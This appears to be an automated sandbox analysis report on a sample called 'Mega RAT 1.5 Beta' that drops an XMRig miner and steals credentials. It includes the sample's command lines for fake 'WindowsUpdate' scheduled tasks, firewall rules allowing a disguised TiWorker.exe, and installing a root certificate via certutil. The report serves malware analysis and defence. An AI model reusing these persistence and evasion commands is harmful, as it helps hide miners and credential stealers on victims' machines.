Analysis
- user interaction
yes - max time kernel
149s - max time network
152s - platform
windows10-ltsc_2021_x64 - resource
win10ltsc2021-20260513-en - resource tags
- submitted
04/08/2026, 20:13
General
- Target Mega RAT 1.5 Beta.zip
- Size 7.2MB
- Sample260804-yzs1pagc99
- SHA256 9fe076c9f197e26a405a9aee84e630b0d018b761c6f39e00790bd899a22bd94c
Malware Config
Signatures
- Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- XMRig Miner payload 16 IoCs
- Modifies Windows Firewall 2 TTPs 2 IoCs
- Executes dropped EXE 15 IoCs
- Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
- Uses the VBS compiler for execution 1 TTPs
- Adds Run key to start application 2 TTPs 1 IoCs
- Enumerates connected drives 3 TTPs 46 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Indicator Removal: Clear Persistence 1 TTPs 1 IoCs
Clear artifacts associated with previously established persistence like scheduletasks on a host.
- Drops file in System32 directory 6 IoCs
- Drops file in Windows directory 1 IoCs
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
- Executes a command shell one-liner 1 TTPs 6 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- System Location Discovery: System Language Discovery 1 TTPs 9 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Time Discovery 1 TTPs 2 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
- Checks processor information in registry 2 TTPs 4 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 6 IoCs
- Modifies data under HKEY_USERS 2 IoCs
- Modifies registry class 53 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 16 IoCs
- Suspicious behavior: GetForegroundWindowSpam 3 IoCs
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 2 IoCs
- Suspicious use of AdjustPrivilegeToken 5 IoCs
- Suspicious use of FindShellTrayWindow 5 IoCs
- Suspicious use of SetWindowsHookEx 5 IoCs
- Suspicious use of WriteProcessMemory 53 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\Explorer.exeC:\Windows\Explorer.exe /idlist,,"C:\Users\Admin\AppData\Local\Temp\Mega RAT 1.5 Beta.zip"1⤵
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
-
C:\Program Files (x86)\Windows Media Player\wmplayer.exe"C:\Program Files (x86)\Windows Media Player\wmplayer.exe" /Play -Embedding1⤵
- Enumerates connected drives
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\unregmp2.exe"C:\Windows\System32\unregmp2.exe" /AsyncFirstLogon2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\unregmp2.exe"C:\Windows\SysNative\unregmp2.exe" /AsyncFirstLogon /REENTRANT3⤵
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s upnphost1⤵
- Drops file in Windows directory
-
C:\Users\Admin\Desktop\Mega RAT 1.5 Beta\Mega RAT 1.5 Betax.exe"C:\Users\Admin\Desktop\Mega RAT 1.5 Beta\Mega RAT 1.5 Betax.exe"1⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /End /TN "Microsoft\Windows\MUI\WindowsUpdate" & schtasks /End /TN "WindowsUpdate" & exit2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /End /TN "Microsoft\Windows\MUI\WindowsUpdate"3⤵
-
-
C:\Windows\system32\schtasks.exeschtasks /End /TN "WindowsUpdate"3⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /Delete /TN "WindowsUpdate" /F & exit2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /Delete /TN "WindowsUpdate" /F3⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="System" dir=out action=allow program="%windir%\SysWOW64\TiWorker.exe" enable=yes & exit2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="System" dir=out action=allow program="C:\Windows\SysWOW64\TiWorker.exe" enable=yes3⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="System" dir=in action=allow program="%windir%\SysWOW64\TiWorker.exe" enable=yes & exit2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="System" dir=in action=allow program="C:\Windows\SysWOW64\TiWorker.exe" enable=yes3⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /Create /XML "%windir%\SysWOW64\MicrosoftWindows.xml" /TN "Microsoft\Windows\MUI\WindowsUpdate" /F & exit2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /Create /XML "C:\Windows\SysWOW64\MicrosoftWindows.xml" /TN "Microsoft\Windows\MUI\WindowsUpdate" /F3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /Change /TN "Microsoft\Windows\MUI\WindowsUpdate" /TR "%windir%\SysWOW64\TiWorker.exe" & schtasks /Run /TN "Microsoft\Windows\MUI\WindowsUpdate" & exit2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /Change /TN "Microsoft\Windows\MUI\WindowsUpdate" /TR "C:\Windows\SysWOW64\TiWorker.exe"3⤵
-
-
C:\Windows\system32\schtasks.exeschtasks /Run /TN "Microsoft\Windows\MUI\WindowsUpdate"3⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c certutil –addstore –f root MicrosoftWindows.crt & exit2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\certutil.execertutil –addstore –f root MicrosoftWindows.crt3⤵
-
-
-
C:\Users\Admin\Desktop\Mega RAT 1.5 Beta\Mega RAT 1.5 Beta.exe"C:\Users\Admin\Desktop\Mega RAT 1.5 Beta\Mega RAT 1.5 Beta.exe"2⤵
- Executes dropped EXE
-
-
C:\Windows\SysWOW64\TiWorker.exe"C:\Windows\SysWOW64\TiWorker.exe"1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\OpenWith.exeC:\Windows\system32\OpenWith.exe -Embedding1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Desktop\Mega RAT 1.5 Beta\Mega RAT 1.5 Beta.exe"C:\Users\Admin\Desktop\Mega RAT 1.5 Beta\Mega RAT 1.5 Beta.exe"1⤵
- Executes dropped EXE
-
C:\Users\Admin\Desktop\Mega RAT 1.5 Beta\Mega RAT 1.5 Betax.exe"C:\Users\Admin\Desktop\Mega RAT 1.5 Beta\Mega RAT 1.5 Betax.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\Desktop\Mega RAT 1.5 Beta\Mega RAT 1.5 Beta.exe"C:\Users\Admin\Desktop\Mega RAT 1.5 Beta\Mega RAT 1.5 Beta.exe"2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\Desktop\Mega RAT 1.5 Beta\Mega RAT 1.5 Beta.exe"C:\Users\Admin\Desktop\Mega RAT 1.5 Beta\Mega RAT 1.5 Beta.exe"1⤵
- Executes dropped EXE
-
C:\Users\Admin\Desktop\Mega RAT 1.5 Beta\Mega RAT 1.5 Beta.exe"C:\Users\Admin\Desktop\Mega RAT 1.5 Beta\Mega RAT 1.5 Beta.exe"1⤵
- Executes dropped EXE
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\vbc.exe"C:\Windows\Microsoft.NET\Framework64\v2.0.50727\vbc.exe" /noconfig @"C:\Users\Admin\AppData\Local\Temp\r71hm1fg.cmdline"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8EC9.tmp" "C:\Users\Admin\AppData\Local\Temp\vbcD4C20735C7DC4F9FBEFE26D92682364E.TMP"3⤵
-
-
-
C:\Users\Admin\Desktop\Mega RAT 1.5 Beta\res.exe"C:\Users\Admin\Desktop\Mega RAT 1.5 Beta\res.exe" -extract C:\Users\Admin\Desktop\Mega RAT 1.5 Beta\assemblychange.exe,C:\Users\Admin\Desktop\Mega RAT 1.5 Beta\assemblychange.res,VERSIONINFO,,2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\Desktop\Mega RAT 1.5 Beta\res.exe"C:\Users\Admin\Desktop\Mega RAT 1.5 Beta\res.exe" -delete C:\Users\Admin\Desktop\Server.exe,C:\Users\Admin\Desktop\Mega RAT 1.5 Beta\res.exe,VERSIONINFO,,2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\Desktop\Mega RAT 1.5 Beta\res.exe"C:\Users\Admin\Desktop\Mega RAT 1.5 Beta\res.exe" -addoverwrite C:\Users\Admin\Desktop\Server.exe,C:\Users\Admin\Desktop\Server.exe,C:\Users\Admin\Desktop\Mega RAT 1.5 Beta\assemblychange.res,VERSIONINFO,1,2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\Desktop\Mega RAT 1.5 Beta\Res.exe"C:\Users\Admin\Desktop\Mega RAT 1.5 Beta\Res.exe" -extract C:\Users\Admin\Desktop\Mega RAT 1.5 Beta\assemblychange.exe,C:\Users\Admin\Desktop\Mega RAT 1.5 Beta\assemblychange.res,VERSIONINFO,,2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\Desktop\Mega RAT 1.5 Beta\Res.exe"C:\Users\Admin\Desktop\Mega RAT 1.5 Beta\Res.exe" -delete C:\Users\Admin\Desktop\Server.exe,C:\Users\Admin\Desktop\Server.exe,C:\Users\Admin\Desktop\Mega RAT 1.5 Beta\Res.exe,VERSIONINFO,,2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\Desktop\Mega RAT 1.5 Beta\Res.exe"C:\Users\Admin\Desktop\Mega RAT 1.5 Beta\Res.exe" -addoverwrite C:\Users\Admin\Desktop\Server.exe,C:\Users\Admin\Desktop\Server.exe,C:\Users\Admin\Desktop\Server.exe,C:\Users\Admin\Desktop\Server.exe,C:\Users\Admin\Desktop\Mega RAT 1.5 Beta\assemblychange.res,VERSIONINFO,1,2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\Desktop\Mega RAT 1.5 Beta\res.exe"C:\Users\Admin\Desktop\Mega RAT 1.5 Beta\res.exe" -extract C:\Users\Admin\Desktop\Mega RAT 1.5 Beta\assemblychange.exe,C:\Users\Admin\Desktop\Mega RAT 1.5 Beta\assemblychange.res,VERSIONINFO,,2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\Desktop\Server.exe"C:\Users\Admin\Desktop\Server.exe"1⤵
- Executes dropped EXE
- Adds Run key to start application
- Checks processor information in registry
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://im36.gulfup.com/Gb0cY.swf2⤵
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --edge-skip-compat-layer-relaunch --single-argument http://im36.gulfup.com/Gb0cY.swf3⤵
- Enumerates system info in registry
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x25c,0x260,0x264,0x258,0x2a4,0x7ffad32fc188,0x7ffad32fc194,0x7ffad32fc1a04⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1976,i,13350838345453652622,7811901646895295499,524288 --field-trial-handle=2260,i,6616702453790480626,18246172591288702263,262144 --variations-seed-version --mojo-platform-channel-handle=2288 /prefetch:34⤵
- System Time Discovery
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1796,i,11779588121324341249,14006955145616135923,262144 --field-trial-handle=2260,i,6616702453790480626,18246172591288702263,262144 --variations-seed-version --mojo-platform-channel-handle=2256 /prefetch:24⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2576,i,15892480504402169489,2816811645331502628,524288 --field-trial-handle=2260,i,6616702453790480626,18246172591288702263,262144 --variations-seed-version --mojo-platform-channel-handle=2748 /prefetch:84⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3432,i,15409962112002333008,6417018225919053433,2097152 --field-trial-handle=2260,i,6616702453790480626,18246172591288702263,262144 --variations-seed-version --mojo-platform-channel-handle=3464 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3436,i,12634980264206192124,7477864030781287616,2097152 --field-trial-handle=2260,i,6616702453790480626,18246172591288702263,262144 --variations-seed-version --mojo-platform-channel-handle=3512 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window4⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x260,0x264,0x268,0x25c,0x2c4,0x7ffad32fc188,0x7ffad32fc194,0x7ffad32fc1a05⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1944,i,5770292150650908274,3971630592002607027,524288 --field-trial-handle=2220,i,7713868388526955244,7989209869275110221,262144 --variations-seed-version --mojo-platform-channel-handle=2256 /prefetch:35⤵
- System Time Discovery
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1692,i,10223983573068424623,5475739816393472449,262144 --field-trial-handle=2220,i,7713868388526955244,7989209869275110221,262144 --variations-seed-version --mojo-platform-channel-handle=2216 /prefetch:25⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2564,i,1709992755736992126,3085643552892720266,524288 --field-trial-handle=2220,i,7713868388526955244,7989209869275110221,262144 --variations-seed-version --mojo-platform-channel-handle=2732 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4368,i,2977100148544174443,3670616411773126413,524288 --field-trial-handle=2220,i,7713868388526955244,7989209869275110221,262144 --variations-seed-version --mojo-platform-channel-handle=4384 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4368,i,2977100148544174443,3670616411773126413,524288 --field-trial-handle=2220,i,7713868388526955244,7989209869275110221,262144 --variations-seed-version --mojo-platform-channel-handle=4384 /prefetch:85⤵
-
-
-
-
-
C:\Users\Admin\Desktop\Server.exeC:\Users\Admin\Desktop\Server.exe1⤵
- Executes dropped EXE
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x43c 0x48c1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Impair Defenses
1Disable or Modify System Firewall
1Indicator Removal
1Clear Persistence
1Modify Registry
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
3Credentials In Files
3Replay Monitor
Loading Replay Monitor...
Downloads
settings.dat
settings.dat
settings.dat
29ba43a3-8e7c-4419-ad8e-4682105e4d60.tmp
BookmarkMergedSurfaceOrdering
data_1
SiteList-Enterprise.json
LOG
Network Persistent State
SCT Auditing Pending Reports
Sdch Dictionaries
Preferences
Secure Preferences
LOG
LOG
LOG
sync_diagnostic.log
Last Version
Local State
Local State
Local State
Local State
Local State
data_1
Variations
CurrentDatabase_400.wmdb
CurrentDatabase_400.wmdb
WMSDKNS.DTD
WMSDKNS.XML
RES8EC9.tmp
r71hm1fg.0.vb
r71hm1fg.cmdline
vbcD4C20735C7DC4F9FBEFE26D92682364E.TMP
wmsetup.log
user.config
wrrj1puo.newcfg
74d7f43c1561fc1e.customDestinations-ms
74d7f43c1561fc1e.customDestinations-ms
Mega RAT 1.5 Beta.exe
Res.ini
Res.log
Res.log
Res.log
Res.log
assemblychange.exe
assemblychange.res
res.exe
res.ini
res.ini
res.log
res.log
res.log
Server.exe
MicrosoftWindows.xml
TiWorker.exe
config.json
memory/1828-166-0x0000000000400000-0x00000000004DD000-memory.dmp
memory/2264-153-0x0000000000400000-0x00000000004DD000-memory.dmp
memory/2376-31-0x00000000059A0000-0x00000000059B0000-memory.dmp
memory/2376-30-0x00000000059A0000-0x00000000059B0000-memory.dmp
memory/2376-28-0x00000000059A0000-0x00000000059B0000-memory.dmp
memory/2376-29-0x00000000059A0000-0x00000000059B0000-memory.dmp
memory/2376-32-0x00000000059A0000-0x00000000059B0000-memory.dmp
memory/2376-33-0x00000000059A0000-0x00000000059B0000-memory.dmp
memory/2900-159-0x000000001C830000-0x000000001CB40000-memory.dmp
memory/2900-168-0x000000001E170000-0x000000001E1D2000-memory.dmp
memory/3000-144-0x0000000000400000-0x00000000004DD000-memory.dmp
memory/3764-127-0x0000000000400000-0x00000000004DD000-memory.dmp
memory/4052-60-0x0000000000400000-0x0000000000DCB000-memory.dmp
memory/4052-92-0x0000000000400000-0x0000000000DCB000-memory.dmp
memory/4052-466-0x0000000000400000-0x0000000000DCB000-memory.dmp
memory/4052-99-0x0000000000400000-0x0000000000DCB000-memory.dmp
memory/4052-86-0x0000000000400000-0x0000000000DCB000-memory.dmp
memory/4052-96-0x0000000000400000-0x0000000000DCB000-memory.dmp
memory/4052-95-0x0000000000400000-0x0000000000DCB000-memory.dmp
memory/4052-84-0x0000000000400000-0x0000000000DCB000-memory.dmp
memory/4052-59-0x0000000000400000-0x0000000000DCB000-memory.dmp
memory/4052-68-0x0000000000400000-0x0000000000DCB000-memory.dmp
memory/4052-193-0x0000000000400000-0x0000000000DCB000-memory.dmp
memory/4052-69-0x0000000000400000-0x0000000000DCB000-memory.dmp
memory/4052-66-0x0000000000400000-0x0000000000DCB000-memory.dmp
memory/4052-67-0x0000000000400000-0x0000000000DCB000-memory.dmp
memory/4052-325-0x0000000000400000-0x0000000000DCB000-memory.dmp
memory/4052-65-0x0000000000400000-0x0000000000DCB000-memory.dmp
memory/4052-61-0x0000000000400000-0x0000000000DCB000-memory.dmp
memory/4052-191-0x0000000000400000-0x0000000000DCB000-memory.dmp
memory/4168-98-0x000000001EF20000-0x000000001EF6A000-memory.dmp
memory/4704-78-0x000000001C2E0000-0x000000001C386000-memory.dmp
memory/4704-79-0x000000001C8C0000-0x000000001CD8E000-memory.dmp
memory/4704-80-0x000000001CE30000-0x000000001CECC000-memory.dmp
memory/4704-81-0x0000000001C70000-0x0000000001C78000-memory.dmp
memory/4704-82-0x000000001CF80000-0x000000001CFCC000-memory.dmp
memory/4704-83-0x000000001D4B0000-0x000000001D984000-memory.dmp
memory/4892-160-0x0000000000400000-0x00000000004DD000-memory.dmp
memory/5056-176-0x0000000000400000-0x00000000004DD000-memory.dmp
memory/5396-137-0x0000000000400000-0x00000000004DD000-memory.dmp